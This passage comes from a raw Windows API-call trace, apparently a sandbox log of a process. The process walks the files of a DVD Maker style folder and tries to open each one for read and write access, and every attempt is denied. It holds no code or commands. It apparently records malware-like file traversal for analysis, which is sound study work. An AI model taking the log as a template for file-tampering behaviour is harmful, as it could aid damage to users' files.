Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.096] GetLastError () returned 0x5 [0104.096] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1 [0104.096] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv") returned 70 [0104.096] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.097] GetLastError () returned 0x5 [0104.097] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0104.097] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv") returned 74 [0104.098] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.098] GetLastError () returned 0x5 [0104.098] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0104.098] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png") returned 80 [0104.098] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.098] GetLastError () returned 0x5 [0104.098] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1 [0104.098] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png") returned 87 [0104.099] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.099] GetLastError () returned 0x5 [0104.099] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x0, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 1 [0104.099] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png") returned 71 [0104.099] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.100] GetLastError () returned 0x5 [0104.100] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1 [0104.100] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png") returned 77 [0104.100] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.101] GetLastError () returned 0x5 [0104.101] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1 [0104.101] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png") returned 83 [0104.101] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.101] GetLastError () returned 0x5 [0104.101] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0104.101] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png") returned 82 [0104.101] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.102] GetLastError () returned 0x5 [0104.102] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1 [0104.102] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png") returned 87 [0104.102] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.103] GetLastError () returned 0x5 [0104.104] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0x0, dwReserved1=0x0, cFileName="redmenu.png", cAlternateFileName="")) returned 1 [0104.104] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png") returned 67 [0104.104] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.104] GetLastError () returned 0x5 [0104.104] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1 [0104.104] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv") returned 70 [0104.104] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.104] GetLastError () returned 0x5 [0104.104] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0104.105] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv") returned 74 [0104.105] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.105] GetLastError () returned 0x5 [0104.105] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1 [0104.105] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png") returned 75 [0104.105] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.107] GetLastError () returned 0x5 [0104.107] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1 [0104.107] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png") returned 81 [0104.107] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.107] GetLastError () returned 0x5 [0104.107] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1 [0104.107] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv") returned 70 [0104.107] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.108] GetLastError () returned 0x5 [0104.108] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0304, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1 [0104.108] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv") returned 74 [0104.108] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.108] GetLastError () returned 0x5 [0104.108] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1 [0104.108] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv") returned 77 [0104.108] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.109] GetLastError () returned 0x5 [0104.110] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1 [0104.110] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv") returned 81 [0104.110] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.110] GetLastError () returned 0x5 [0104.110] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1 [0104.110] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv") returned 77 [0104.110] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.111] GetLastError () returned 0x5 [0104.111] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1 [0104.111] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv") returned 81 [0104.111] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.111] GetLastError () returned 0x5 [0104.112] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1 [0104.112] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png") returned 86 [0104.112] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.112] GetLastError () returned 0x5 [0104.112] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 1 [0104.112] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png") returned 69 [0104.112] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.113] GetLastError () returned 0x5 [0104.113] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 0 [0104.113] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0104.115] FindNextFileW (in: 